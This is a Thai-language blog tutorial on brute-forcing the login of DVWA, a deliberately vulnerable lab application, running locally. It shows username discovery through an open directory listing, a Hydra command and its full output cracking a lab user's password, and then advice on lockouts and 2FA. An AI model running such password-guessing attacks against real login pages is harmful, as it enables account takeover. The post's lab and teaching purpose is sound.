จากบทความที่แล้ว Damn Vulnerable Web Application เราได้ทำการติดตั้ง Environment สำหรับทดสอบการทำ Pentest ในเครื่อง Kali Linux ของเราแล้ว
วันนี้เราจะมาลองทำการ Brute Force เพื่อโจมตี DVWA ที่เราติดตั้งไว้ในเครื่องกันดูครับ ไอ้ Brute Force เนี่ยคือการสุ่มรหัสผ่านไปเรื่อยๆ เดาไปเรื่อยๆ ซึ่งจะเดาจากฐานข้อมูลรหัสผ่านที่เรามี ไอ้ฐานข้อมูลรหัสผ่านเนี่ย เวลาเวปต่างๆทำหลุดมา เค้าก็มีซื้อขายกันด้วยนะ เค้าถึงแนะนำให้เราเปลี่ยนรหัสผ่านกัน เมื่อรหัสหลุดออกมา
หลักในการตั้งรหัสผ่านให้มีความปลอดภัย คือยิ่งยาวยิ่งดี และไม่ควรเดาง่าย มีการผสมตัวอักษรต่างๆเข้าด้วยกัน
ทีนี้เราจะลองมาดูว่า DVWA มันมีอะไรให้เราทดลองทำ Brute Force กัน
เข้ามาเจอหน้าตาให้ Login เลย จะให้กรูทำอะไรวะ -_-”
บอกตามตรง ความรู้ไม่มี ไม่ได้เรียนมา ก็เข้า google ดิวะ รออะไร
ผมเจอ Tools ละ เค้าใช้ Hydra ในการทำ Brute Force บน Kali ได้นี่เอง
แล้วจะ Brute Force อะไรวะ ก็รู้รหัสตัวเองแล้วนี่ว่ามันคือ
ลอง Login เข้าไปดูก่อนดีกว่า ว่ามีอะไรบ้าง
หลังจาก Login แล้วจะพบกับ ข้อความ Welcome to the password protected area admin และรูปภาพ Avatar ของเรา
ลำดับความคิดก่อนว่า งั้นผมน่าจะต้องหาก่อนว่ามี user อะไรบ้างในระบบที่จำลองขึ้นมา ลอง Click ขวาที่รูปก่อน ดูว่ามันมีไรที่เป็น pattern ที่พอจะหา user อื่นได้ไหม เลยลอง copy address มาดู
ได้ URL นี้มา http://192.168.1.116:8080/hackable/users/admin.jpg
ถ้าให้เดา http://192.168.1.116:8080/hackable/users/[ชื่อผู้ใช้งาน.jpg] แน่ๆเลย
งั้นเดาว่า server ตัวนี้ ไม่ได้ ทำ Protected Directory ไว้ เมื่อเข้าไปใน path http://192.168.1.116:8080/hackable/users/
ตัว Server จะต้อง ส่ง Directory Listing ออกมาเป็นไฟล์ทั้งหมดใน Folder แหง๋มๆ สมัยทำ Apache ช่วงปี 42-43 จะเจอะ case นี้บ่อยๆ มันควรจะ redirect หรือบอก error 404, 403 มากกว่า
แล ้วก็ใช่ครับ
ได้รายชื่อ Username มาแล้ว งั้นไปหา file wordlists รหัสผ่านใน kali linux ก่อน เดาว่าพวกนี้เป็นแค่ use case ไม่น่าใช้รหัสยากหรอก เอาแค่ example ที่ติดตั้งมาก็น่าจะ Brute Force ได้นะ
หาก่อนว่า wordlists มันอยู่ที่ไหน แต่ kali เพิ่งลงใหม่ ยังไม่มี locate ให้ใช้งาน
apt install mlocate
locate wordlists
จะพบว่า มี wordlists ในระบบเยอะมากอยู่ใน /usr/share/
หลังจากนั้นเราจะใช้ hydra สั่ง Brute Force จาก wordlists ที่เรามี โดยเราจะเอารหัสของนาย gordonb มา
โดยเราจะยิงไปที่ endpoint /vulnerabilities/brute/index.php โดยส่งข้อมูลไปแบบ get เพราะเราดูจากใน form html แล้ว method ของ form login นั้นเป็น get
โดยคำสั่งจะเป็นประมาณนี้
hydra -l [username] -P [wordlists][domainname] -s [port][http-get-form] “/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:F=[Failed]:H=[Headerที่ส่งค่าไป]” -vV -f
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-19 13:20:29[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task[DATA] attacking http-get-form://localhost:8080/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie: PHPSESSID=r9ajvh28dkt14tqr1h8jrkrc02; security=low[VERBOSE] Resolving addresses ... [VERBOSE] resolving done[ATTEMPT] target localhost - login "gordonb" - pass "123456" - 1 of 14344399 [child 0] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "12345" - 2 of 14344399 [child 1] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "123456789" - 3 of 14344399 [child 2] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "password" - 4 of 14344399 [child 3] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "princess" - 6 of 14344399 [child 5] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "1234567" - 7 of 14344399 [child 6] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "12345678" - 9 of 14344399 [child 8] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "abc123" - 10 of 14344399 [child 9] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "nicole" - 11 of 14344399 [child 10] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "daniel" - 12 of 14344399 [child 11] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "babygirl" - 13 of 14344399 [child 12] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "monkey" - 14 of 14344399 [child 13] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "lovely" - 15 of 14344399 [child 14] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "jessica" - 16 of 14344399 [child 15] (0/0)[ATTEMPT] target localhost - login "gordonb" - pass "654321" - 17 of 14344399 [child 0] (0/0)[8080][http-get-form] host: localhost login: gordonb password: abc123[STATUS] attack finished for localhost (valid pair found)1 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-19 13:20:31
เมื่อเรา run ไปแล้วจะพบว่า gordonb มีรหัสผ่านเป็น abc123 จากบรรทัดตามข้างล่างนี้
[8080][http-get-form] host: localhost login: gordonb password: abc123
เราจะลองเอารหัสไปกรอกดูกันว่าผ่านมั้ย
หลังจากนั้นเราลองหาของแต่ละคนดูจะพบว่า
เป็นอันครบทุกคน
ในแง่การป้องกันสำหรับผมที่เป็น Programmer เวลาว่างๆ ถ้าไม่อยากให้มีการ Brute Force ก็ไม่ต้องเขียน Code ถุ้ยยยยย หยอกๆๆ
Code ของเราควรจะมีการ Limit การ Login Failed ว่าครบ n ครั้ง จะ Lock Account กี่นาที ก็ว่าไป หรือมีการทำ 2FA นั่นก็คือ 2 Factor Authentication เป็นวิธีการยืนยันตัวแบบหนึ่ง ที่จะต้องให้ผู้ใช้งานใส่รหัสอีกหนึ่งชุดที่ได้รับมาผ่านทาง ช่องทางอื่น โดยรหัสที่ว่าจะมีอายุไม่กี่วินาที ถ้าใส่ไม่ทันก็ต้องรอเอาชุดใหม่เป็นต้น
ทีนี้ผมลองเปลี่ยน Level security ไปเป็น high level สรุปว่า ผมทำการ Brute Force ไม่ผ่าน งงเลย เพราะอะไรวะ
เลย View Source ดู อ๋ออออ มึงมี user_token ที่น่าจะ generate ขึ้นมาครั้งที่เปิดหน้าใหม ่ แล้วต้องส่งไอ้ห่านี่ไปด้วยทุกครั้ง What!!!
บทความหน้าเราจะมาทะลวง ดาก CSRF (Cross-site Request Forgery) กันฮะ ตอนนี้นั่งหน้าคอมนาน ปวดคออีกแล้วบรัย
Quick Links
Legal Stuff